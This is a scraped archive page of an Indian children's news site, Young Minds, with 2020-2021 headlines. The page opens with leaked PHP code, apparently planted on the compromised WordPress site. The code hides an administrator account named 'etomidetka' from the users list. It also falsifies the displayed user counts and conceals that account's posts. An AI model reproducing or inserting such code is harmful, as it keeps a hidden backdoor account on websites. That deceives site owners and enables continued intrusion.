//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 16

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 16)
Pfizer vaccine found 94% effective in first big real-world test

Pfizer vaccine found 94% effective in first big real-world test

The first big real-world study of the Pfizer/BioNTech vaccine to be independently reviewed shows the shot is highly effective at preventing Covid-19, in a …

February 26, 2021 | Main News
Prince Harry & Meghan Markle stripped of honorary titles

Prince Harry & Meghan Markle stripped of honorary titles

The Queen has stripped Prince Harry and Meghan Markle of all royal associations and military ¬titles after the couple confirmed they would not return as …

February 26, 2021 | Main News
Jeff Bezos overtakes Elon Musk to become the world’s richest person again

Jeff Bezos overtakes Elon Musk to become the world’s richest person again

Amazon CEO Jeff Bezos has reclaimed the title of the world’s richest person with a net worth of $191.2 billion, ending Elon Musk’s roughly six-week reign …

February 19, 2021 | Main News
Lt Gen Chandi Prasad Mohanty to take over as new Army Vice-Chief

Lt Gen Chandi Prasad Mohanty to take over as new Army Vice-Chief

Lieutenant General Chandi Prasad Mohanty will assume the charge of the next Army Vice-Chief on February 1. The 1982-batch officer from the Rajput Regiment, who …

January 29, 2021 | Main News
India begins world’s biggest inoculation drive

India begins world’s biggest inoculation drive

A sanitation worker has become the first Indian to receive a Covid vaccine as the country began the world’s largest inoculation drive. Prime Minister …

January 22, 2021 | Main News
Joe Biden becomes the 46th President of the United States

Joe Biden becomes the 46th President of the United States

Biden, 78, has become the oldest US president in history, ending one of the most dramatic political transitions in American history. He was sworn in at a …

January 22, 2021 | Main News
Trump becomes the first President in US history to be impeached twice

Trump becomes the first President in US history to be impeached twice

Donald Trump has become the first President in US history to be impeached twice as the Democratic-controlled House of Representatives formally charged him with …

January 15, 2021 | Main News
Dhoni second cricketer after Virat Kohli to cross 30 mn followers on Instagram

Dhoni second cricketer after Virat Kohli to cross 30 mn followers on Instagram

Former India captain MS Dhoni is now only the second cricketer after Virat Kohli to have over 30 million followers on Instagram. Dhoni, who announced his …

January 15, 2021 | Main News
India likely to get first shots of Covid-19 vaccine by January 13

India likely to get first shots of Covid-19 vaccine by January 13

Less than a year after the pandemic struck, India is now ready with two vaccines to launch the first phase of its mass vaccination campaign with the Centre …

January 8, 2021 | Main News
EU ambassadors formally approve Brexit trade deal

EU ambassadors formally approve Brexit trade deal

The Brexit trade deal has moved a step closer to being passed, with unanimous approval granted by EU member states. The move means the agreement can come into …

December 31, 2020 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds